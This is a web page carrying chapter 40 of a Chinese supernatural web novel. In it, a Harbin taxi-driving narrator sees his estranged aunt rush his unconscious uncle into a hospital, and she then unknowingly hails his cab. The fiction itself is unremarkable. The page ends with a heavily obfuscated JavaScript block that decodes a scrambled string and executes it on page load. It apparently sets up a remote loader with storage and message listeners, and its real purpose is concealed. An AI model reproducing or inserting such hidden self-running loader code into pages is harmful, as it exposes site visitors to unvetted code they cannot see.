返回

东北出马笔记

首页
关灯
护眼
字体:
第40章 午夜重逢
自打梦见了常天龙,我才真正相信了仙缘。

如果不是命里注定,我就不可能恰好那天去了极乐寺,也不可能遇见蟒仙闯堂,自然也就不会莫名其妙救了常天龙。

按照他的说法,他是我祖辈堂口仙家,那么也就是说,如果我接了堂口的话,常天龙就是我的仙家了。

所以,如果我真的有三年大难,他当然会护我周全。

一切顺理成章,逻辑严谨。

仿佛上天安排。

常天龙说过,我救了他,会有好处给我。

但自从那天梦见他,我再也没见他出现过,也不知道那好处是什么。

接下来的几天,我每天都梦到各种稀奇古怪的梦境,天上人间,阴司地府,赤狐,黄仙,还有一黑一白两条大蛇。

黑的略小,白的略大。

我不知道他们都是谁,但想来黑的应该就是常天龙,白的大约就是那天去救常天龙的蟒仙。

我心里隐约明白:该来的,应该快来了。

那几天我牢记杨大仙的话,没有四处乱走,刚好马叔也没接什么大活,上次在王家赚的也不少,好几天没让我出去跑出租了。

我也乐得清闲,便在家苟了起来。

因为杨大仙说过,我在七天之内可能要有一次远行,对我不利,会有危险。

我想,只要我避开这七天不出门,应该就能躲过去了。

但现实还是给了我一个教训。

事实证明,该发生的,永远也躲不过。

那天晚上,马叔店里来了一个客人,倒没有什么大事,就是来找马叔叙旧闲谈,两个人聊到夜里九点多,马叔便让我开车送他回去。

从两人的交谈中,我得知这人是马叔的一个大客户,曾经请马叔去看风水,一次就花了三万。

那个年代三万块钱不算少了,所以我也不想得罪人,虽然不愿意去,但还是出了一趟车。

说来也巧,那人刚好住在南岗区的花园街一带,那里是哈尔滨的老街,因为有一所在哈尔滨数一数二的花园小学,可以说知名度很高,学区房的价格也很高。

时至今日,那里也是哈尔滨房价的天花板。

我把那人送到家后,拐出街口,沿着西大直街再往前不远,就快到袁姐家的饭店了。

很久没见到袁姐了,再次来到熟悉的街口,我忍不住下意识地把车开了进去,远远的就能看见前方不远处,明月酒店的招牌依然通明透亮。

我没去打扰袁姐,在街口停了车,摇下车窗,摸出一支烟点燃。

烟雾徐徐,恍惚中我仿佛看到了两年前,我刚来到哈尔滨的时候,就是在这个街口彷徨徘徊,不知何去何从。

我是在马叔那里学会抽烟的。

他总是跟我说,男人就要有个男人的样子,想哭就哭,想笑就笑,有钱的日子能过,没钱的日子也能过。

每当他遇到烦心事的时候,一支烟就能解心宽。

如果一支解不了,那就一盒。

再不行,就大醉一场。

明月酒店的对面,就是医大一院住院处。

我又想起了那个守太平间的武国斌,不知道他现在还是不是经常把自己喝的烂醉,然后独自在太平间里,陪着亡妻说话。

还有意外死去的小云,胡妈已经给她做了超度,不知道她有没有放下仇恨,去转世投胎。

还有受到报应变成傻子的老板,现在应该不会再欺负袁姐了吧……

一支烟很快燃尽,我再次望了明月酒店一眼,便扔掉烟头,打算发动车子离开。

可就在这时,前方不远处有一辆担架床推了过来,跟着两三个穿白大褂的,还有一个女人,一边抹眼泪,一边跟着跑。

夜已经很深了,路灯昏暗,看不清人的五官,但我却觉得那个女人的体态动作,特别像姑姑。

这种直觉很强烈,我盯着那几个人看,渐渐近了些,又近了些……

当我终于看清那女人的长相时,我顿时如遭雷击,浑身的血液仿佛都沸腾了起来。

真的是姑姑!

我就像傻了一样,呆呆地看着姑姑跟着担架床从我身边跑过去。

心里有个念头,不断让我快点下车,去见姑姑,去问问她发生了什么,再把我这两年的经历都告诉她,让她放心,让她知道我还活着……

这念头不断燃起,像火焰一般烧灼着我。

但不知为什么,我终究还是一动没动,就那么眼睁睁地看着姑姑远去,跑进了住院处。

担架床推过去的时候,我隐约看到了上面躺着的人,正是姑父。

但他不知得了什么病,在担架床上昏迷不醒。

哈尔滨的医大一院,医疗水平是很高的,但一般从外地送到这里的,都是重症患者,或者是一些疑难杂症。

当我看到姑父的时候,我就知道,他肯定是得了什么重病。

对于那年的事,其实我也时常会后悔,不该那么冲动,给姑姑带来了很大困扰和麻烦。

但我始终认为,那年的一棍子,姑父挨的一点都不怨。

他活该。

可现在面对姑姑,和昏迷不醒的姑父,我却没有勇气,去和姑姑相见。

两年多了,我经常会在脑海里模拟和姑姑重逢的场景,但打死我也想不到,居然会在这里见到姑姑。

我在原地足足发呆了十几分钟,再想去追姑姑已经来不及了。

我抽了自己一巴掌,心里打定主意,明天一早就到住院处去查一下,看看她们在哪个病房。

虽然我无比讨厌那个混蛋,但为了姑姑,我还是要出面。

我这样想着,便发动车子,打算先回家。

窗外却忽然传来了一阵敲玻璃的声音,同时一个熟悉的声音焦急响起。

“师傅,去道里吗?”

我心里突地一跳,是姑姑去而复返。

但路灯昏暗,想必姑姑也没看清我,而且她也绝对想不到,随便在路边打辆车,居然会遇到已经失踪两年的我。

我“嗯”了一声,便挥手示意她上车。

姑姑拿着一个布包,笨手笨脚地上了出租车的后座,告诉了我一个地址。

她说,她的丈夫得了一种怪病,医生给开了特效药,但附近的药店都没有,医生帮她联系了道里一家药店,得赶紧去取。

我没有说话,发动车子,箭一般往姑姑所说的地址驶去……

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();